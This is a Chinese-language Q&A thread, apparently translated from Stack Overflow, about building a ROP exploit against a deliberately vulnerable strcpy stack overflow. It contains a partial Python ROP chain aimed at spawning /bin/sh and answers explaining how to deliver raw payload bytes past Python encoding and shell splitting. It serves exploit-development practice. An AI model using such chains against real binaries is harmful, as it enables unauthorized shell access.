python inpu缓冲区中的strcpy不正确

2024-05-19 18:48:35 发布

您现在位置:Python中文网/ 问答频道 /正文

我试图用Python生成的输入填充C中的一个简单缓冲区。这是ROP项目的实践。下面是简单的C代码:

#include <string.h>    
int main(int argc, char **argv)
{
  char buf[128];
  strcpy(buf, argv[1]);
}

编译为:gcc -m32 -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 test.c -o test

我的硬件:x86-64,Linux Mint。你知道吗

下面是python输入的一部分:

from struct import pack    
p = '//bin/sh'  #address 0xffffd15c
p += 'A'*28

#null terminate our string
p += pack("<I", 0x0806e67a) # pop edx ; ret
p += pack("<I", 0xffffd163) # @ "/bin/sh" + 7
p += pack("<I", 0x080bac56) # pop eax ; ret
p += pack("<I", 0xffffffff) # 0xffffffff, or could xor the instruction
p += pack("<I", 0x0807b0cf) # inc eax ; ret
p += pack("<I", 0x08099fad) # mov dword ptr [edx], eax ; ret

出于某种原因,当我将其作为argv[1]输入时,缓冲区将正确填充到最后一行。它不是用0x08099fad填充缓冲区,而是说0x00009fad。这一行后面有更多的输入,但这就是出错的地方,导致其余的输入都是垃圾(不是我输入的)。你知道吗

出于某种原因,strcpy中似乎放入了一个空字节,可能提前终止了它。但我不知道空字节在哪里。当我尝试输入这个地址时,也会发生同样的情况:0x080acedc。你知道吗

有什么想法吗?你知道吗

谢谢!你知道吗


Tags: teststringbinstackshpoppackint
2条回答

只是为了让搜索这个答案的人得到真正的帮助。你知道吗

我今天遇到了同样的问题。 我发现的是,python本身逃避了这些字符。 如果你用C写同样的程序,它就可以工作了。 如果您像这样打印var:

jmpto = "\xbf\x84\x04\x08"
print(jmpto)

将输出保存到文件并使用十六进制编辑器查看您将看到它实际打印:

"C3 BB C2 84 04 08"

当我尝试同样的方法时:

jmpto = "\x41\x42\x43\x44"
print(jmpto)

在它打印的十六进制编辑器中查看:

"41 42 43 44"

遗憾的是,我不知道如何使用python正确打印这些字符。 最简单的解决方案似乎是用C编写

附言:@风向标,如果有人有兴趣了解风向标在引擎盖下的工作原理,那么羞辱他又有什么意义呢? 默默无闻的安全措施(也就是不说所以没人知道)是行不通的。 有人会把它弄坏的。 最好让有兴趣的白帽知道怎么做,他们可能会试图解决这些问题。你知道吗

编辑: 多亏了弗劳恩霍夫公司的人,我找到了解决办法。 使用系统标准缓冲区.写入(ex\u str) 其中,exstr的类型必须是bytes。 首先将字符串创建为bytearray,然后将其转换为bytes类型:

import sys
#convert this Hex Address or Hex ASM Code to int: fb 84 04 08
jmpto = [251, 132, 4, 8]
ex_str = bytes(bytearray(b"A"*(132 + 4)) + bytearray(jmpto))
sys.stdout.buffer.write(ex_str)

你也可以使用子流程调用()或子流程运行()启动可执行文件并将其传递给bytes对象。你知道吗

希望有人觉得这个有用。你知道吗

我假定您将该字符串作为命令行参数提供给C实用程序。(顺便说一下,test不是实用程序的好名字,因为它是一个标准的shell函数,通常作为内置函数实现。)

现在假设您要从终端调用实用程序:

./test some thing

显然argv[1]将由一个四个字符的单词组成,另一个单词放在argv[2]中。如果希望单个参数是命令行的其余部分,则需要引用它:

./test "some thing"

现在,通常当我们从一个程序中调用一个实用程序时,我们实际上不希望参数被shell解释。我们只想用带有实际参数字符串的exec数组来argv进程。这样,我们就不必担心空格和shell元字符,也不必担心如何正确引用任意字符串。你知道吗

但是为了受虐狂的利益,python提供了指定shell=True的操作系统的可能性。尽管手册明确警告不要使用这个选项,即使人们经常遇到麻烦使用它,它仍然是一个奇怪的流行选择。你知道吗

顺便说一下,在生成的程序中没有空间(尽管它们可能是)。空格为0x20。但是shell将其他字节解释为空白。例如,tab是0x09。我将把它作为一个练习来计算0x0A的结果。你知道吗

相关问题 更多 >